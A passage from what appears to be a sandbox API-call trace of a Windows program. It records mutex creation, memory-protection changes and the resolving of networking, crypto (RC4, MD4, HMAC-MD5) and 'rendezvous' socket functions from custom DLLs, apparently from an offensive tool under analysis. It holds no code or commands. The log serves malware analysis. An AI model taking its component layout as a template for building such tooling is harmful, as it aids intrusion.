dwHighDateTime=0x1d5ca1f)) [0119.508] GetCurrentProcessId () returned 0x141c [0119.508] GetCurrentThreadId () returned 0x1420 [0119.508] GetTickCount () returned 0x1165b1b [0119.508] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26061782910) returned 1 [0119.508] malloc (_Size=0x80) returned 0x10b12b8 [0119.508] malloc (_Size=0x18) returned 0x10b1340 [0119.508] malloc (_Size=0x4) returned 0x10b1360 [0119.508] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x3c [0119.508] GetCurrentThreadId () returned 0x1420 [0119.508] GetCurrentThreadId () returned 0x1420 [0119.508] GetCurrentThreadId () returned 0x1420 [0119.508] malloc (_Size=0x4) returned 0x10b1370 [0119.508] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x40 [0119.508] getenv (_VarName="XML_MEM_BREAKPOINT") returned 0x0 [0119.509] getenv (_VarName="XML_MEM_TRACE") returned 0x0 [0119.509] malloc (_Size=0xc8) returned 0x10b24e8 [0119.509] malloc (_Size=0x6) returned 0x10b1380 [0119.509] malloc (_Size=0xc) returned 0x10b1390 [0119.509] malloc (_Size=0x9) returned 0x10b13a8 [0119.509] malloc (_Size=0xc) returned 0x10b13c0 [0119.509] malloc (_Size=0x9) returned 0x10b13d8 [0119.509] malloc (_Size=0xc) returned 0x10b13f0 [0119.509] malloc (_Size=0x7) returned 0x10b1408 [0119.509] malloc (_Size=0xc) returned 0x10b25b8 [0119.510] malloc (_Size=0xb) returned 0x10b25d0 [0119.510] malloc (_Size=0xc) returned 0x10b25e8 [0119.510] malloc (_Size=0x6) returned 0x10b2600 [0119.510] malloc (_Size=0xc) returned 0x10b2610 [0119.510] malloc (_Size=0x9) returned 0x10b2628 [0119.510] malloc (_Size=0xc) returned 0x10b2640 [0119.510] malloc (_Size=0x5) returned 0x10b2658 [0119.510] malloc (_Size=0xc) returned 0x10b2668 [0119.510] GetCurrentThreadId () returned 0x1420 [0119.510] GetVersionExA (in: lpVersionInformation=0xdaf914*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x10b24e0, dwMinorVersion=0xdafaec, dwBuildNumber=0xc8, dwPlatformId=0x7734e026, szCSDVersion="Ð\x07\x0b\x01\x01") | out: lpVersionInformation=0xdaf914*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0119.510] GetCurrentThreadId () returned 0x1420 [0119.510] malloc (_Size=0x4) returned 0x10b2680 [0119.511] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x44 [0119.511] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0119.511] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0119.511] VirtualProtect (in: lpAddress=0x1e015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.512] VirtualProtect (in: lpAddress=0x1e015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.512] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0119.512] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.512] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.512] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0119.512] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.512] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.512] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.512] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.512] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.512] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.512] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.513] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.513] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.513] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.513] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x75360000 [0119.513] GetProcAddress (hModule=0x75360000, lpProcName=0x97) returned 0x75366a8a [0119.513] GetProcAddress (hModule=0x75360000, lpProcName=0x12) returned 0x75366989 [0119.513] GetProcAddress (hModule=0x75360000, lpProcName=0x1) returned 0x753668b6 [0119.513] GetProcAddress (hModule=0x75360000, lpProcName=0x3) returned 0x75363918 [0119.513] GetProcAddress (hModule=0x75360000, lpProcName=0x6) returned 0x753630af [0119.513] GetProcAddress (hModule=0x75360000, lpProcName=0xd) returned 0x7536b001 [0119.513] GetProcAddress (hModule=0x75360000, lpProcName=0x2) returned 0x75364582 [0119.513] GetProcAddress (hModule=0x75360000, lpProcName=0x9) returned 0x75362d8b [0119.513] GetProcAddress (hModule=0x75360000, lpProcName=0xb) returned 0x7536311b [0119.513] GetProcAddress (hModule=0x75360000, lpProcName=0x17) returned 0x75363eb8 [0119.513] GetProcAddress (hModule=0x75360000, lpProcName=0x13) returned 0x75366f01 [0119.514] GetProcAddress (hModule=0x75360000, lpProcName=0x4) returned 0x75366bdd [0119.514] GetProcAddress (hModule=0x75360000, lpProcName="WSASocketA") returned 0x7536c82a [0119.514] GetProcAddress (hModule=0x75360000, lpProcName=0x10) returned 0x75366b0e [0119.514] GetProcAddress (hModule=0x75360000, lpProcName=0xf) returned 0x75362d8b [0119.514] GetProcAddress (hModule=0x75360000, lpProcName="WSADuplicateSocketA") returned 0x753761b6 [0119.514] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0119.514] GetProcAddress (hModule=0x76b40000, lpProcName="_iob") returned 0x76be2900 [0119.514] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0119.514] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.514] GetProcAddress (hModule=0x76b40000, lpProcName="calloc") returned 0x76b4c456 [0119.514] GetProcAddress (hModule=0x76b40000, lpProcName="_fstat") returned 0x76b60e3b [0119.514] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0119.514] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0119.514] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.515] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.515] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.515] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.515] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.515] GetProcAddress (hModule=0x76b40000, lpProcName="_read") returned 0x76b5c245 [0119.515] GetProcAddress (hModule=0x76b40000, lpProcName="_write") returned 0x76b54078 [0119.515] GetProcAddress (hModule=0x76b40000, lpProcName="_fileno") returned 0x76b4ac15 [0119.515] GetProcAddress (hModule=0x76b40000, lpProcName="_close") returned 0x76b53ae2 [0119.515] GetProcAddress (hModule=0x76b40000, lpProcName="_open") returned 0x76b67e48 [0119.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9bb355e0, dwHighDateTime=0x1d5ca1f)) [0119.515] GetCurrentProcessId () returned 0x141c [0119.515] GetCurrentThreadId () returned 0x1420 [0119.515] GetTickCount () returned 0x1165b1b [0119.515] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26062525207) returned 1 [0119.515] malloc (_Size=0x80) returned 0x10b2690 [0119.571] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0119.571] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.571] GetProcAddress (hModule=0x76e10000, lpProcName="SystemTimeToFileTime") returned 0x76e25a7e [0119.571] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTime") returned 0x76e25a96 [0119.571] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageA") returned 0x76e45fbd [0119.571] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.571] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.572] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0119.572] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.572] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.572] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.572] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.572] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.572] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.572] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.572] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.572] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.572] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x76b40000 [0119.572] GetProcAddress (hModule=0x76b40000, lpProcName="strchr") returned 0x76b4dbeb [0119.572] GetProcAddress (hModule=0x76b40000, lpProcName="toupper") returned 0x76b4f7fa [0119.572] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="memcmp") returned 0x76b57975 [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="sscanf") returned 0x76b5ed4c [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="strcpy") returned 0x76b58d6e [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="atoi") returned 0x76b4dbe0 [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="strncpy") returned 0x76b508a9 [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="_snprintf") returned 0x76b6fa7c [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="strncmp") returned 0x76b4b443 [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="islower") returned 0x76b6f0f7 [0119.573] GetProcAddress (hModule=0x76b40000, lpProcName="strncat") returned 0x76b70909 [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="srand") returned 0x76b4f757 [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="realloc") returned 0x76b4b10d [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="rand") returned 0x76b4c070 [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="gmtime") returned 0x76bc2929 [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="mktime") returned 0x76b65f85 [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="sprintf") returned 0x76b5d354 [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.574] GetProcAddress (hModule=0x76b40000, lpProcName="time") returned 0x76b4f708 [0119.574] LoadLibraryA (lpLibFileName="trfo-2.dll") returned 0x10000000 [0119.575] GetProcAddress (hModule=0x10000000, lpProcName="TfCrc32") returned 0x100017b7 [0119.575] GetProcAddress (hModule=0x10000000, lpProcName="TfRc4Init") returned 0x10004cd3 [0119.575] GetProcAddress (hModule=0x10000000, lpProcName="TfRc4Encrypt") returned 0x10004d2b [0119.575] GetProcAddress (hModule=0x10000000, lpProcName="TfMd4") returned 0x10003e05 [0119.575] GetProcAddress (hModule=0x10000000, lpProcName="TfMd5Init") returned 0x10003f8d [0119.575] GetProcAddress (hModule=0x10000000, lpProcName="TfMd5Update") returned 0x100049b0 [0119.575] GetProcAddress (hModule=0x10000000, lpProcName="TfMd5Final") returned 0x10004a4b [0119.575] GetProcAddress (hModule=0x10000000, lpProcName="TfHmacMd5Init") returned 0x100030c0 [0119.575] GetProcAddress (hModule=0x10000000, lpProcName="TfHmacMd5Update") returned 0x1000317c [0119.575] GetProcAddress (hModule=0x10000000, lpProcName="TfHmacMd5Final") returned 0x10003181 [0119.575] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75360000 [0119.575] GetProcAddress (hModule=0x75360000, lpProcName=0xf) returned 0x75362d8b [0119.575] GetProcAddress (hModule=0x75360000, lpProcName=0xe) returned 0x75362d57 [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x9) returned 0x75362d8b [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0xb) returned 0x7536311b [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x73) returned 0x75363ab2 [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x74) returned 0x75363c5f [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x1) returned 0x753668b6 [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x3) returned 0x75363918 [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0xa) returned 0x75363084 [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x6f) returned 0x753637ad [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x13) returned 0x75366f01 [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x14) returned 0x753634b5 [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x10) returned 0x75366b0e [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x12) returned 0x75366989 [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x11) returned 0x7536b6dc [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x70) returned 0x753637d9 [0119.576] GetProcAddress (hModule=0x75360000, lpProcName=0x4) returned 0x75366bdd [0119.577] GetProcAddress (hModule=0x75360000, lpProcName=0xd) returned 0x7536b001 [0119.577] GetProcAddress (hModule=0x75360000, lpProcName=0x6) returned 0x753630af [0119.577] GetProcAddress (hModule=0x75360000, lpProcName=0x2) returned 0x75364582 [0119.577] GetProcAddress (hModule=0x75360000, lpProcName=0x17) returned 0x75363eb8 [0119.577] GetProcAddress (hModule=0x75360000, lpProcName=0x15) returned 0x753641b6 [0119.577] GetProcAddress (hModule=0x75360000, lpProcName=0x8) returned 0x75362d57 [0119.577] GetProcAddress (hModule=0x75360000, lpProcName=0xc) returned 0x7536b131 [0119.577] VirtualProtect (in: lpAddress=0x73bf0000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.577] VirtualProtect (in: lpAddress=0x73bf0000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9bbcdb60, dwHighDateTime=0x1d5ca1f)) [0119.577] GetCurrentProcessId () returned 0x141c [0119.577] GetCurrentThreadId () returned 0x1420 [0119.577] GetTickCount () returned 0x1165b5a [0119.577] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26068746572) returned 1 [0119.578] malloc (_Size=0x80) returned 0x10b2718 [0119.578] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0119.578] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0119.579] VirtualProtect (in: lpAddress=0x3015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.579] VirtualProtect (in: lpAddress=0x3015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.579] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0119.579] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.579] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.579] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0119.579] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.579] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.579] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.579] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.579] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.580] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.580] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.580] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.580] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.580] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.580] GetModuleHandleA (lpModuleName="exma-1.dll") returned 0x1e0000 [0119.580] GetProcAddress (hModule=0x1e0000, lpProcName="disconnectRendezvous") returned 0x1e12f3 [0119.580] GetProcAddress (hModule=0x1e0000, lpProcName="closeRendezvous") returned 0x1e1246 [0119.580] GetProcAddress (hModule=0x1e0000, lpProcName="sendSockets") returned 0x1e13f6 [0119.580] GetProcAddress (hModule=0x1e0000, lpProcName="readParamsFromEM") returned 0x1e1071 [0119.580] GetProcAddress (hModule=0x1e0000, lpProcName="writeParamsToEM") returned 0x1e112c [0119.580] GetProcAddress (hModule=0x1e0000, lpProcName="recvSocket") returned 0x1e1357 [0119.580] GetProcAddress (hModule=0x1e0000, lpProcName="connectRendezvous") returned 0x1e1253 [0119.580] GetProcAddress (hModule=0x1e0000, lpProcName="getDefaultEMFile") returned 0x1e1028 [0119.581] GetProcAddress (hModule=0x1e0000, lpProcName="bindRendezvous") returned 0x1e1153 [0119.581] GetProcAddress (hModule=0x1e0000, lpProcName="closeEM") returned 0x1e1000 [0119.581] GetProcAddress (hModule=0x1e0000, lpProcName="openEMForWriting") returned 0x1e102e [0119.581] GetModuleHandleA (lpModuleName="tibe-2.dll") returned 0x73bf0000 [0119.581] GetProcAddress (hModule=0x73bf0000, lpProcName="TbWinsockCleanup") returned 0x73c21238 [0119.581] GetProcAddress (hModule=0x73bf0000, lpProcName="TbWinsockStartup") returned 0x73c211f0 [0119.581] GetModuleHandleA (lpModuleName="trch-1.dll") returned 0x140000 [0119.581] GetProcAddress (hModule=0x140000, lpProcName="Parameter_U16_getValue") returned 0x147f14 [0119.581] GetProcAddress (hModule=0x140000, lpProcName="Paramgroup_getNumParamchoices") returned 0x142082 [0119.581] GetProcAddress (hModule=0x140000, lpProcName="Parameter_matchType") returned 0x143aa3 [0119.581] GetProcAddress (hModule=0x140000, lpProcName="Config_getID") returned 0x142082 [0119.581] GetProcAddress (hModule=0x140000, lpProcName="Config_getInputParams") returned 0x14208f [0119.581] GetProcAddress (hModule=0x140000, lpProcName="Config_getNamespaceUri") returned 0x1420b8 [0119.581] GetProcAddress (hModule=0x140000, lpProcName="Config_getSchemaVersion") returned 0x1420e0 [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Config_getConstants") returned 0x142066 [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Config_getOutputParams") returned 0x1420c4 [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Parameter_U16_setValue") returned 0x147f2c [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Parameter_String_create") returned 0x146b69 [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Parameter_Boolean_create") returned 0x145cdc [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Parameter_hasValue") returned 0x1439a1 [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Parameter_String_getValue") returned 0x1467f5 [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Parameter_markInvalid") returned 0x143a35 [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Parameter_Boolean_getValue") returned 0x145b0b [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Params_findParamchoice") returned 0x14495d [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Config_create") returned 0x1421f9 [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Params_create") returned 0x144bbd [0119.582] GetProcAddress (hModule=0x140000, lpProcName="Config_setInputParams") returned 0x1421ab [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Parameter_LocalFile_create") returned 0x146cd7 [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Params_parseCommandLine") returned 0x144a00 [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Config_delete") returned 0x14200a [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Params_isValid") returned 0x1446de [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Config_printUsage") returned 0x1420fa [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Params_printInvalid") returned 0x144738 [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Parameter_LocalFile_getValue") returned 0x14688b [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Parameter_hasValidValue") returned 0x1439b6 [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Paramgroup_getParamchoice") returned 0x1446c3 [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Socket_type") returned 0x1466c4 [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Scalar_format") returned 0x144f31 [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Parameter_matchFormat") returned 0x143a62 [0119.583] GetProcAddress (hModule=0x140000, lpProcName="Parameter_Socket_getValue") returned 0x146233 [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Parameter_Socket_setValue") returned 0x14624b [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Parameter_Socket_List_getValue") returned 0x1464fb [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Parameter_Socket_List_setValue") returned 0x146519 [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Params_removeParameter") returned 0x144818 [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Params_getNumParameters") returned 0x142082 [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Params_getParameter") returned 0x1446c3 [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Params_getNumParamchoices") returned 0x1420e0 [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Params_getParamchoice") returned 0x1446a8 [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Paramchoice_hasValidValue") returned 0x14338d [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Paramchoice_getValue") returned 0x143985 [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Paramchoice_getNumParamgroups") returned 0x142059 [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Paramchoice_getParamgroup") returned 0x143372 [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Paramgroup_matchName") returned 0x144181 [0119.584] GetProcAddress (hModule=0x140000, lpProcName="Config_marshal") returned 0x143103 [0119.585] GetProcAddress (hModule=0x140000, lpProcName="Config_unmarshal") returned 0x1492e4 [0119.585] GetProcAddress (hModule=0x140000, lpProcName="Params_findParameter") returned 0x144999 [0119.585] GetProcAddress (hModule=0x140000, lpProcName="Parameter_U16_create") returned 0x1481b9 [0119.585] GetProcAddress (hModule=0x140000, lpProcName="Params_addParameter") returned 0x14465b [0119.585] GetProcAddress (hModule=0x140000, lpProcName="Parameter_delete") returned 0x1438a1 [0119.585] GetProcAddress (hModule=0x140000, lpProcName="Paramgroup_getNumParameters") returned 0x1420ab [0119.585] GetProcAddress (hModule=0x140000, lpProcName="Paramgroup_getParameter") returned 0x14410c [0119.585] GetModuleHandleA (lpModuleName="tucl-1.dll") returned 0x73c40000 [0119.585] GetProcAddress (hModule=0x73c40000, lpProcName="TcLog") returned 0x73c4102d [0119.585] GetProcAddress (hModule=0x73c40000, lpProcName="TcLogClose") returned 0x73c4132b [0119.585] GetProcAddress (hModule=0x73c40000, lpProcName="TcLogOpen") returned 0x73c41376 [0119.585] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0119.585] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.585] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="strncpy") returned 0x76b508a9 [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="exit") returned 0x76b536aa [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="strrchr") returned 0x76b4dbae [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.586] GetProcAddress (hModule=0x76b40000, lpProcName="calloc") returned 0x76b4c456 [0119.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9bbf3cc0, dwHighDateTime=0x1d5ca1f)) [0119.586] GetCurrentProcessId () returned 0x141c [0119.586] GetCurrentThreadId () returned 0x1420 [0119.586] GetTickCount () returned 0x1165b69 [0119.587] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26069648317) returned 1 [0119.587] malloc (_Size=0x80) returned 0x10b27a0 [0119.594] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0119.594] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0119.594] VirtualProtect (in: lpAddress=0x1f015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.594] VirtualProtect (in: lpAddress=0x1f015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.594] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0119.594] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.594] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeZoneInformation") returned 0x76e2465a [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="FileTimeToSystemTime") returned 0x76e2542c [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocalTime") returned 0x76e25aa6 [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="SystemTimeToFileTime") returned 0x76e25a7e [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileA") returned 0x76e253c6 [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesA") returned 